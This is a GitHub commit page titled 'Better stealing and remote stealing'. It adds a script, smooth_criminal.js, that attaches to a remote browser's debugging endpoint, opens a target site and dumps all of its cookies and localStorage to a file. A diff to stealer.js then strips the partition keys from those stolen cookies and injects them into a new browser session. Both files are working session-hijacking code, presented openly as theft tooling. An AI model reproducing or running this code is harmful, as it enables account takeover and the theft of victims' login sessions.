Skip to content

Commit 7df6781

Browse files
author
Forrest Kasler
committed
Better stealing and remote stealing
1 parent 21f375b commit 7df6781

File tree

2 files changed

+38
-0
lines changed

2 files changed

+38
-0
lines changed

smooth_criminal.js

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
import puppeteer from 'puppeteer-extra'
2+
import StealthPlugin from 'puppeteer-extra-plugin-stealth'
3+
import fs from 'fs';
4+
5+
var proxy = process.argv[2];
6+
var target = process.argv[3];
7+
8+
(async () => {
9+
//connect to the browser via puppeteer.connect
10+
const browser = await puppeteer.connect({
11+
//browserWSEndpoint: `ws://${proxy}`,
12+
browserURL: `http://${proxy}`,
13+
}).catch((err) => console.log("error connecting to browser", err));
14+
const target_page = await browser.newPage();
15+
await target_page.goto(target, {
16+
waitUntil: 'networkidle2'
17+
})
18+
let cookie_data = await target_page._client.send('Storage.getCookies')
19+
let cookies = cookie_data.cookies
20+
let dom_data = await target_page._client.send('DOMStorage.getDOMStorageItems', {
21+
storageId: {
22+
securityOrigin: await target_page.evaluate(() => window.origin),
23+
isLocalStorage: true,
24+
},
25+
})
26+
let local_storage = dom_data.entries
27+
console.log({ url: target_page.url(), cookies: cookies, local_storage: local_storage })
28+
//write the data to a file
29+
fs.writeFileSync('data.json', JSON.stringify({ url: target_page.url(), cookies: cookies, local_storage: local_storage }))
30+
//close the page
31+
await target_page.close();
32+
//disconnect from the browser
33+
await browser.disconnect();
34+
})()

stealer.js

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,10 @@ if(process.argv.length > 3){
3838
}
3939
}, 3000)
4040
await page.setUserAgent(default_user_agent)
41+
//filter out the partitionKey attribute on all cookies
42+
session.cookies.map((cookie) => {
43+
delete cookie.partitionKey
44+
})
4145
//inject our cookies
4246
const cdp = await page.target().createCDPSession();
4347
await cdp.send('Network.setCookies',{

0 commit comments

Comments
 (0)